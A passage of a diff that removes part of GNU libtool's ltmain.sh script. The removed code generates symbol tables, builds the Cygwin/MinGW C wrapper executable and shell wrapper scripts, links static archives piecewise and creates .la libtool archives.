-
-#if defined (__STDC__) && __STDC__
-# define lt_ptr void *
-#else
-# define lt_ptr char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-"
-
- case $host in
- *cygwin* | *mingw* )
- $echo >> "$output_objdir/$dlsyms" "\
-/* DATA imports from DLLs on WIN32 can't be const, because
- runtime relocations are performed -- see ld's documentation
- on pseudo-relocs */
-struct {
-"
- ;;
- * )
- $echo >> "$output_objdir/$dlsyms" "\
-const struct {
-"
- ;;
- esac
-
-
- $echo >> "$output_objdir/$dlsyms" "\
- const char *name;
- lt_ptr address;
-}
-lt_preloaded_symbols[] =
-{\
-"
-
- eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$dlsyms"
-
- $echo >> "$output_objdir/$dlsyms" "\
- {0, (lt_ptr) 0}
-};
-
-/* This works around a problem in FreeBSD linker */
-#ifdef FREEBSD_WORKAROUND
-static const void *lt_preloaded_setup() {
- return lt_preloaded_symbols;
-}
-#endif
-
-#ifdef __cplusplus
-}
-#endif\
-"
- fi
-
- pic_flag_for_symtable=
- case $host in
- # compiling the symbol table file with pic_flag works around
- # a FreeBSD bug that causes programs to crash when -lm is
- # linked before any other PIC object. But we must not use
- # pic_flag when linking with -static. The problem exists in
- # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1.
- *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*)
- case "$compile_command " in
- *" -static "*) ;;
- *) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND";;
- esac;;
- *-*-hpux*)
- case "$compile_command " in
- *" -static "*) ;;
- *) pic_flag_for_symtable=" $pic_flag";;
- esac
- esac
-
- # Now compile the dynamic symbol file.
- $show "(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable \"$dlsyms\")"
- $run eval '(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable "$dlsyms")' || exit $?
-
- # Clean up the generated files.
- $show "$rm $output_objdir/$dlsyms $nlist ${nlist}S ${nlist}T"
- $run $rm "$output_objdir/$dlsyms" "$nlist" "${nlist}S" "${nlist}T"
-
- # Transform the symbol file into the correct name.
- case $host in
- *cygwin* | *mingw* )
- if test -f "$output_objdir/${outputname}.def" ; then
- compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"`
- else
- compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- fi
- ;;
- * )
- compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"`
- ;;
- esac
- ;;
- *)
- $echo "$modename: unknown suffix for \`$dlsyms'" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- else
- # We keep going just in case the user didn't refer to
- # lt_preloaded_symbols. The linker will fail if global_symbol_pipe
- # really was required.
-
- # Nullify the symbol file.
- compile_command=`$echo "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"`
- finalize_command=`$echo "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"`
- fi
-
- if test "$need_relink" = no || test "$build_libtool_libs" != yes; then
- # Replace the output file specification.
- compile_command=`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
- link_command="$compile_command$compile_rpath"
-
- # We have no uninstalled library dependencies, so finalize right now.
- $show "$link_command"
- $run eval "$link_command"
- exit_status=$?
-
- # Delete the generated files.
- if test -n "$dlsyms"; then
- $show "$rm $output_objdir/${outputname}S.${objext}"
- $run $rm "$output_objdir/${outputname}S.${objext}"
- fi
-
- exit $exit_status
- fi
-
- if test -n "$shlibpath_var"; then
- # We should set the shlibpath_var
- rpath=
- for dir in $temp_rpath; do
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*)
- # Absolute path.
- rpath="$rpath$dir:"
- ;;
- *)
- # Relative path: add a thisdir entry.
- rpath="$rpath\$thisdir/$dir:"
- ;;
- esac
- done
- temp_rpath="$rpath"
- fi
-
- if test -n "$compile_shlibpath$finalize_shlibpath"; then
- compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command"
- fi
- if test -n "$finalize_shlibpath"; then
- finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command"
- fi
-
- compile_var=
- finalize_var=
- if test -n "$runpath_var"; then
- if test -n "$perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $perm_rpath; do
- rpath="$rpath$dir:"
- done
- compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
- if test -n "$finalize_perm_rpath"; then
- # We should set the runpath_var.
- rpath=
- for dir in $finalize_perm_rpath; do
- rpath="$rpath$dir:"
- done
- finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
- fi
- fi
-
- if test "$no_install" = yes; then
- # We don't need to create a wrapper script.
- link_command="$compile_var$compile_command$compile_rpath"
- # Replace the output file specification.
- link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
- # Delete the old output file.
- $run $rm $output
- # Link the executable and exit
- $show "$link_command"
- $run eval "$link_command" || exit $?
- exit $EXIT_SUCCESS
- fi
-
- if test "$hardcode_action" = relink; then
- # Fast installation is not supported
- link_command="$compile_var$compile_command$compile_rpath"
- relink_command="$finalize_var$finalize_command$finalize_rpath"
-
- $echo "$modename: warning: this platform does not like uninstalled shared libraries" 1>&2
- $echo "$modename: \`$output' will be relinked during installation" 1>&2
- else
- if test "$fast_install" != no; then
- link_command="$finalize_var$compile_command$finalize_rpath"
- if test "$fast_install" = yes; then
- relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'`
- else
- # fast_install is set to needless
- relink_command=
- fi
- else
- link_command="$compile_var$compile_command$compile_rpath"
- relink_command="$finalize_var$finalize_command$finalize_rpath"
- fi
- fi
-
- # Replace the output file specification.
- link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'`
-
- # Delete the old output files.
- $run $rm $output $output_objdir/$outputname $output_objdir/lt-$outputname
-
- $show "$link_command"
- $run eval "$link_command" || exit $?
-
- # Now create the wrapper script.
- $show "creating $output"
-
- # Quote the relink command for shipping.
- if test -n "$relink_command"; then
- # Preserve any variables that may affect compiler behavior
- for var in $variables_saved_for_relink; do
- if eval test -z \"\${$var+set}\"; then
- relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command"
- elif eval var_value=\$$var; test -z "$var_value"; then
- relink_command="$var=; export $var; $relink_command"
- else
- var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"`
- relink_command="$var=\"$var_value\"; export $var; $relink_command"
- fi
- done
- relink_command="(cd `pwd`; $relink_command)"
- relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"`
- fi
-
- # Quote $echo for shipping.
- if test "X$echo" = "X$SHELL $progpath --fallback-echo"; then
- case $progpath in
- [\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";;
- *) qecho="$SHELL `pwd`/$progpath --fallback-echo";;
- esac
- qecho=`$echo "X$qecho" | $Xsed -e "$sed_quote_subst"`
- else
- qecho=`$echo "X$echo" | $Xsed -e "$sed_quote_subst"`
- fi
-
- # Only actually do things if our run command is non-null.
- if test -z "$run"; then
- # win32 will think the script is a binary if it has
- # a .exe suffix, so we strip it off here.
- case $output in
- *.exe) output=`$echo $output|${SED} 's,.exe$,,'` ;;
- esac
- # test for cygwin because mv fails w/o .exe extensions
- case $host in
- *cygwin*)
- exeext=.exe
- outputname=`$echo $outputname|${SED} 's,.exe$,,'` ;;
- *) exeext= ;;
- esac
- case $host in
- *cygwin* | *mingw* )
- output_name=`basename $output`
- output_path=`dirname $output`
- cwrappersource="$output_path/$objdir/lt-$output_name.c"
- cwrapper="$output_path/$output_name.exe"
- $rm $cwrappersource $cwrapper
- trap "$rm $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15
-
- cat > $cwrappersource <<EOF
-
-/* $cwrappersource - temporary wrapper executable for $objdir/$outputname
- Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-
- The $output program cannot be directly executed until all the libtool
- libraries that it depends on are installed.
-
- This wrapper executable should never be moved out of the build directory.
- If it is, it will not operate correctly.
-
- Currently, it simply execs the wrapper *script* "/bin/sh $output",
- but could eventually absorb all of the scripts functionality and
- exec $objdir/$outputname directly.
-*/
-EOF
- cat >> $cwrappersource<<"EOF"
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <malloc.h>
-#include <stdarg.h>
-#include <assert.h>
-#include <string.h>
-#include <ctype.h>
-#include <sys/stat.h>
-
-#if defined(PATH_MAX)
-# define LT_PATHMAX PATH_MAX
-#elif defined(MAXPATHLEN)
-# define LT_PATHMAX MAXPATHLEN
-#else
-# define LT_PATHMAX 1024
-#endif
-
-#ifndef DIR_SEPARATOR
-# define DIR_SEPARATOR '/'
-# define PATH_SEPARATOR ':'
-#endif
-
-#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \
- defined (__OS2__)
-# define HAVE_DOS_BASED_FILE_SYSTEM
-# ifndef DIR_SEPARATOR_2
-# define DIR_SEPARATOR_2 '\\'
-# endif
-# ifndef PATH_SEPARATOR_2
-# define PATH_SEPARATOR_2 ';'
-# endif
-#endif
-
-#ifndef DIR_SEPARATOR_2
-# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR)
-#else /* DIR_SEPARATOR_2 */
-# define IS_DIR_SEPARATOR(ch) \
- (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2))
-#endif /* DIR_SEPARATOR_2 */
-
-#ifndef PATH_SEPARATOR_2
-# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR)
-#else /* PATH_SEPARATOR_2 */
-# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2)
-#endif /* PATH_SEPARATOR_2 */
-
-#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type)))
-#define XFREE(stale) do { \
- if (stale) { free ((void *) stale); stale = 0; } \
-} while (0)
-
-/* -DDEBUG is fairly common in CFLAGS. */
-#undef DEBUG
-#if defined DEBUGWRAPPER
-# define DEBUG(format, ...) fprintf(stderr, format, __VA_ARGS__)
-#else
-# define DEBUG(format, ...)
-#endif
-
-const char *program_name = NULL;
-
-void * xmalloc (size_t num);
-char * xstrdup (const char *string);
-const char * base_name (const char *name);
-char * find_executable(const char *wrapper);
-int check_executable(const char *path);
-char * strendzap(char *str, const char *pat);
-void lt_fatal (const char *message, ...);
-
-int
-main (int argc, char *argv[])
-{
- char **newargz;
- int i;
-
- program_name = (char *) xstrdup (base_name (argv[0]));
- DEBUG("(main) argv[0] : %s\n",argv[0]);
- DEBUG("(main) program_name : %s\n",program_name);
- newargz = XMALLOC(char *, argc+2);
-EOF
-
- cat >> $cwrappersource <<EOF
- newargz[0] = (char *) xstrdup("$SHELL");
-EOF
-
- cat >> $cwrappersource <<"EOF"
- newargz[1] = find_executable(argv[0]);
- if (newargz[1] == NULL)
- lt_fatal("Couldn't find %s", argv[0]);
- DEBUG("(main) found exe at : %s\n",newargz[1]);
- /* we know the script has the same name, without the .exe */
- /* so make sure newargz[1] doesn't end in .exe */
- strendzap(newargz[1],".exe");
- for (i = 1; i < argc; i++)
- newargz[i+1] = xstrdup(argv[i]);
- newargz[argc+1] = NULL;
-
- for (i=0; i<argc+1; i++)
- {
- DEBUG("(main) newargz[%d] : %s\n",i,newargz[i]);
- ;
- }
-
-EOF
-
- case $host_os in
- mingw*)
- cat >> $cwrappersource <<EOF
- execv("$SHELL",(char const **)newargz);
-EOF
- ;;
- *)
- cat >> $cwrappersource <<EOF
- execv("$SHELL",newargz);
-EOF
- ;;
- esac
-
- cat >> $cwrappersource <<"EOF"
- return 127;
-}
-
-void *
-xmalloc (size_t num)
-{
- void * p = (void *) malloc (num);
- if (!p)
- lt_fatal ("Memory exhausted");
-
- return p;
-}
-
-char *
-xstrdup (const char *string)
-{
- return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL
-;
-}
-
-const char *
-base_name (const char *name)
-{
- const char *base;
-
-#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
- /* Skip over the disk name in MSDOS pathnames. */
- if (isalpha ((unsigned char)name[0]) && name[1] == ':')
- name += 2;
-#endif
-
- for (base = name; *name; name++)
- if (IS_DIR_SEPARATOR (*name))
- base = name + 1;
- return base;
-}
-
-int
-check_executable(const char * path)
-{
- struct stat st;
-
- DEBUG("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!");
- if ((!path) || (!*path))
- return 0;
-
- if ((stat (path, &st) >= 0) &&
- (
- /* MinGW & native WIN32 do not support S_IXOTH or S_IXGRP */
-#if defined (S_IXOTH)
- ((st.st_mode & S_IXOTH) == S_IXOTH) ||
-#endif
-#if defined (S_IXGRP)
- ((st.st_mode & S_IXGRP) == S_IXGRP) ||
-#endif
- ((st.st_mode & S_IXUSR) == S_IXUSR))
- )
- return 1;
- else
- return 0;
-}
-
-/* Searches for the full path of the wrapper. Returns
- newly allocated full path name if found, NULL otherwise */
-char *
-find_executable (const char* wrapper)
-{
- int has_slash = 0;
- const char* p;
- const char* p_next;
- /* static buffer for getcwd */
- char tmp[LT_PATHMAX + 1];
- int tmp_len;
- char* concat_name;
-
- DEBUG("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!");
-
- if ((wrapper == NULL) || (*wrapper == '\0'))
- return NULL;
-
- /* Absolute path? */
-#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
- if (isalpha ((unsigned char)wrapper[0]) && wrapper[1] == ':')
- {
- concat_name = xstrdup (wrapper);
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- }
- else
- {
-#endif
- if (IS_DIR_SEPARATOR (wrapper[0]))
- {
- concat_name = xstrdup (wrapper);
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- }
-#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
- }
-#endif
-
- for (p = wrapper; *p; p++)
- if (*p == '/')
- {
- has_slash = 1;
- break;
- }
- if (!has_slash)
- {
- /* no slashes; search PATH */
- const char* path = getenv ("PATH");
- if (path != NULL)
- {
- for (p = path; *p; p = p_next)
- {
- const char* q;
- size_t p_len;
- for (q = p; *q; q++)
- if (IS_PATH_SEPARATOR(*q))
- break;
- p_len = q - p;
- p_next = (*q == '\0' ? q : q + 1);
- if (p_len == 0)
- {
- /* empty path: current directory */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
- lt_fatal ("getcwd failed");
- tmp_len = strlen(tmp);
- concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1);
- memcpy (concat_name, tmp, tmp_len);
- concat_name[tmp_len] = '/';
- strcpy (concat_name + tmp_len + 1, wrapper);
- }
- else
- {
- concat_name = XMALLOC(char, p_len + 1 + strlen(wrapper) + 1);
- memcpy (concat_name, p, p_len);
- concat_name[p_len] = '/';
- strcpy (concat_name + p_len + 1, wrapper);
- }
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- }
- }
- /* not found in PATH; assume curdir */
- }
- /* Relative path | not found in path: prepend cwd */
- if (getcwd (tmp, LT_PATHMAX) == NULL)
- lt_fatal ("getcwd failed");
- tmp_len = strlen(tmp);
- concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1);
- memcpy (concat_name, tmp, tmp_len);
- concat_name[tmp_len] = '/';
- strcpy (concat_name + tmp_len + 1, wrapper);
-
- if (check_executable(concat_name))
- return concat_name;
- XFREE(concat_name);
- return NULL;
-}
-
-char *
-strendzap(char *str, const char *pat)
-{
- size_t len, patlen;
-
- assert(str != NULL);
- assert(pat != NULL);
-
- len = strlen(str);
- patlen = strlen(pat);
-
- if (patlen <= len)
- {
- str += len - patlen;
- if (strcmp(str, pat) == 0)
- *str = '\0';
- }
- return str;
-}
-
-static void
-lt_error_core (int exit_status, const char * mode,
- const char * message, va_list ap)
-{
- fprintf (stderr, "%s: %s: ", program_name, mode);
- vfprintf (stderr, message, ap);
- fprintf (stderr, ".\n");
-
- if (exit_status >= 0)
- exit (exit_status);
-}
-
-void
-lt_fatal (const char *message, ...)
-{
- va_list ap;
- va_start (ap, message);
- lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
- va_end (ap);
-}
-EOF
- # we should really use a build-platform specific compiler
- # here, but OTOH, the wrappers (shell script and this C one)
- # are only useful if you want to execute the "real" binary.
- # Since the "real" binary is built for $host, then this
- # wrapper might as well be built for $host, too.
- $run $LTCC $LTCFLAGS -s -o $cwrapper $cwrappersource
- ;;
- esac
- $rm $output
- trap "$rm $output; exit $EXIT_FAILURE" 1 2 15
-
- $echo > $output "\
-#! $SHELL
-
-# $output - temporary wrapper script for $objdir/$outputname
-# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-#
-# The $output program cannot be directly executed until all the libtool
-# libraries that it depends on are installed.
-#
-# This wrapper script should never be moved out of the build directory.
-# If it is, it will not operate correctly.
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed='${SED} -e 1s/^X//'
-sed_quote_subst='$sed_quote_subst'
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-relink_command=\"$relink_command\"
-
-# This environment variable determines our operation mode.
-if test \"\$libtool_install_magic\" = \"$magic\"; then
- # install mode needs the following variable:
- notinst_deplibs='$notinst_deplibs'
-else
- # When we are sourced in execute mode, \$file and \$echo are already set.
- if test \"\$libtool_execute_magic\" != \"$magic\"; then
- echo=\"$qecho\"
- file=\"\$0\"
- # Make sure echo works.
- if test \"X\$1\" = X--no-reexec; then
- # Discard the --no-reexec flag, and continue.
- shift
- elif test \"X\`(\$echo '\t') 2>/dev/null\`\" = 'X\t'; then
- # Yippee, \$echo works!
- :
- else
- # Restart under the correct shell, and then maybe \$echo will work.
- exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"}
- fi
- fi\
-"
- $echo >> $output "\
-
- # Find the directory that this script lives in.
- thisdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\`
- test \"x\$thisdir\" = \"x\$file\" && thisdir=.
-
- # Follow symbolic links until we get to the real thisdir.
- file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\`
- while test -n \"\$file\"; do
- destdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\`
-
- # If there was a directory component, then change thisdir.
- if test \"x\$destdir\" != \"x\$file\"; then
- case \"\$destdir\" in
- [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;;
- *) thisdir=\"\$thisdir/\$destdir\" ;;
- esac
- fi
-
- file=\`\$echo \"X\$file\" | \$Xsed -e 's%^.*/%%'\`
- file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\`
- done
-
- # Try to get the absolute directory name.
- absdir=\`cd \"\$thisdir\" && pwd\`
- test -n \"\$absdir\" && thisdir=\"\$absdir\"
-"
-
- if test "$fast_install" = yes; then
- $echo >> $output "\
- program=lt-'$outputname'$exeext
- progdir=\"\$thisdir/$objdir\"
-
- if test ! -f \"\$progdir/\$program\" || \\
- { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\
- test \"X\$file\" != \"X\$progdir/\$program\"; }; then
-
- file=\"\$\$-\$program\"
-
- if test ! -d \"\$progdir\"; then
- $mkdir \"\$progdir\"
- else
- $rm \"\$progdir/\$file\"
- fi"
-
- $echo >> $output "\
-
- # relink executable if necessary
- if test -n \"\$relink_command\"; then
- if relink_command_output=\`eval \$relink_command 2>&1\`; then :
- else
- $echo \"\$relink_command_output\" >&2
- $rm \"\$progdir/\$file\"
- exit $EXIT_FAILURE
- fi
- fi
-
- $mv \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null ||
- { $rm \"\$progdir/\$program\";
- $mv \"\$progdir/\$file\" \"\$progdir/\$program\"; }
- $rm \"\$progdir/\$file\"
- fi"
- else
- $echo >> $output "\
- program='$outputname'
- progdir=\"\$thisdir/$objdir\"
-"
- fi
-
- $echo >> $output "\
-
- if test -f \"\$progdir/\$program\"; then"
-
- # Export our shlibpath_var if we have one.
- if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
- $echo >> $output "\
- # Add our own library path to $shlibpath_var
- $shlibpath_var=\"$temp_rpath\$$shlibpath_var\"
-
- # Some systems cannot cope with colon-terminated $shlibpath_var
- # The second colon is a workaround for a bug in BeOS R4 sed
- $shlibpath_var=\`\$echo \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\`
-
- export $shlibpath_var
-"
- fi
-
- # fixup the dll searchpath if we need to.
- if test -n "$dllsearchpath"; then
- $echo >> $output "\
- # Add the dll search path components to the executable PATH
- PATH=$dllsearchpath:\$PATH
-"
- fi
-
- $echo >> $output "\
- if test \"\$libtool_execute_magic\" != \"$magic\"; then
- # Run the actual program with our arguments.
-"
- case $host in
- # Backslashes separate directories on plain windows
- *-*-mingw | *-*-os2*)
- $echo >> $output "\
- exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
-"
- ;;
-
- *)
- $echo >> $output "\
- exec \"\$progdir/\$program\" \${1+\"\$@\"}
-"
- ;;
- esac
- $echo >> $output "\
- \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\"
- exit $EXIT_FAILURE
- fi
- else
- # The program doesn't exist.
- \$echo \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2
- \$echo \"This script is just a wrapper for \$program.\" 1>&2
- $echo \"See the $PACKAGE documentation for more information.\" 1>&2
- exit $EXIT_FAILURE
- fi
-fi\
-"
- chmod +x $output
- fi
- exit $EXIT_SUCCESS
- ;;
- esac
-
- # See if we need to build an old-fashioned archive.
- for oldlib in $oldlibs; do
-
- if test "$build_libtool_libs" = convenience; then
- oldobjs="$libobjs_save"
- addlibs="$convenience"
- build_libtool_libs=no
- else
- if test "$build_libtool_libs" = module; then
- oldobjs="$libobjs_save"
- build_libtool_libs=no
- else
- oldobjs="$old_deplibs $non_pic_objects"
- fi
- addlibs="$old_convenience"
- fi
-
- if test -n "$addlibs"; then
- gentop="$output_objdir/${outputname}x"
- generated="$generated $gentop"
-
- func_extract_archives $gentop $addlibs
- oldobjs="$oldobjs $func_extract_archives_result"
- fi
-
- # Do each command in the archive commands.
- if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then
- cmds=$old_archive_from_new_cmds
- else
- # POSIX demands no paths to be encoded in archives. We have
- # to avoid creating archives with duplicate basenames if we
- # might have to extract them afterwards, e.g., when creating a
- # static archive out of a convenience library, or when linking
- # the entirety of a libtool archive into another (currently
- # not supported by libtool).
- if (for obj in $oldobjs
- do
- $echo "X$obj" | $Xsed -e 's%^.*/%%'
- done | sort | sort -uc >/dev/null 2>&1); then
- :
- else
- $echo "copying selected object files to avoid basename conflicts..."
-
- if test -z "$gentop"; then
- gentop="$output_objdir/${outputname}x"
- generated="$generated $gentop"
-
- $show "${rm}r $gentop"
- $run ${rm}r "$gentop"
- $show "$mkdir $gentop"
- $run $mkdir "$gentop"
- exit_status=$?
- if test "$exit_status" -ne 0 && test ! -d "$gentop"; then
- exit $exit_status
- fi
- fi
-
- save_oldobjs=$oldobjs
- oldobjs=
- counter=1
- for obj in $save_oldobjs
- do
- objbase=`$echo "X$obj" | $Xsed -e 's%^.*/%%'`
- case " $oldobjs " in
- " ") oldobjs=$obj ;;
- *[\ /]"$objbase "*)
- while :; do
- # Make sure we don't pick an alternate name that also
- # overlaps.
- newobj=lt$counter-$objbase
- counter=`expr $counter + 1`
- case " $oldobjs " in
- *[\ /]"$newobj "*) ;;
- *) if test ! -f "$gentop/$newobj"; then break; fi ;;
- esac
- done
- $show "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
- $run ln "$obj" "$gentop/$newobj" ||
- $run cp "$obj" "$gentop/$newobj"
- oldobjs="$oldobjs $gentop/$newobj"
- ;;
- *) oldobjs="$oldobjs $obj" ;;
- esac
- done
- fi
-
- eval cmds=\"$old_archive_cmds\"
-
- if len=`expr "X$cmds" : ".*"` &&
- test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
- cmds=$old_archive_cmds
- else
- # the command line is too long to link in one step, link in parts
- $echo "using piecewise archive linking..."
- save_RANLIB=$RANLIB
- RANLIB=:
- objlist=
- concat_cmds=
- save_oldobjs=$oldobjs
-
- # Is there a better way of finding the last object in the list?
- for obj in $save_oldobjs
- do
- last_oldobj=$obj
- done
- for obj in $save_oldobjs
- do
- oldobjs="$objlist $obj"
- objlist="$objlist $obj"
- eval test_cmds=\"$old_archive_cmds\"
- if len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
- test "$len" -le "$max_cmd_len"; then
- :
- else
- # the above command should be used before it gets too long
- oldobjs=$objlist
- if test "$obj" = "$last_oldobj" ; then
- RANLIB=$save_RANLIB
- fi
- test -z "$concat_cmds" || concat_cmds=$concat_cmds~
- eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
- objlist=
- fi
- done
- RANLIB=$save_RANLIB
- oldobjs=$objlist
- if test "X$oldobjs" = "X" ; then
- eval cmds=\"\$concat_cmds\"
- else
- eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
- fi
- fi
- fi
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- eval cmd=\"$cmd\"
- IFS="$save_ifs"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- done
-
- if test -n "$generated"; then
- $show "${rm}r$generated"
- $run ${rm}r$generated
- fi
-
- # Now create the libtool archive.
- case $output in
- *.la)
- old_library=
- test "$build_old_libs" = yes && old_library="$libname.$libext"
- $show "creating $output"
-
- # Preserve any variables that may affect compiler behavior
- for var in $variables_saved_for_relink; do
- if eval test -z \"\${$var+set}\"; then
- relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command"
- elif eval var_value=\$$var; test -z "$var_value"; then
- relink_command="$var=; export $var; $relink_command"
- else
- var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"`
- relink_command="$var=\"$var_value\"; export $var; $relink_command"
- fi
- done
- # Quote the link command for shipping.
- relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)"
- relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"`
- if test "$hardcode_automatic" = yes ; then
- relink_command=
- fi
-
-
- # Only create the output if not a dry run.
- if test -z "$run"; then
- for installed in no yes; do
- if test "$installed" = yes; then
- if test -z "$install_libdir"; then
- break
- fi
- output="$output_objdir/$outputname"i
- # Replace all uninstalled libtool libraries with the installed ones
- newdependency_libs=
- for deplib in $dependency_libs; do
- case $deplib in
- *.la)
- name=`$echo "X$deplib" | $Xsed -e 's%^.*/%%'`
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
- if test -z "$libdir"; then
- $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- newdependency_libs="$newdependency_libs $libdir/$name"
- ;;
- *) newdependency_libs="$newdependency_libs $deplib" ;;
- esac
- done
- dependency_libs="$newdependency_libs"
- newdlfiles=
- for lib in $dlfiles; do
- name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'`
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
- if test -z "$libdir"; then
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- newdlfiles="$newdlfiles $libdir/$name"
- done
- dlfiles="$newdlfiles"
- newdlprefiles=
- for lib in $dlprefiles; do
- name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'`
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
- if test -z "$libdir"; then
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- newdlprefiles="$newdlprefiles $libdir/$name"
- done
- dlprefiles="$newdlprefiles"
- else
- newdlfiles=
- for lib in $dlfiles; do
- case $lib in
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
- newdlfiles="$newdlfiles $abs"
- done
- dlfiles="$newdlfiles"
- newdlprefiles=
- for lib in $dlprefiles; do
- case $lib in
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
- newdlprefiles="$newdlprefiles $abs"
- done
- dlprefiles="$newdlprefiles"
- fi
- $rm $output
- # place dlname in correct position for cygwin
- tdlname=$dlname
- case $host,$output,$installed,$module,$dlname in
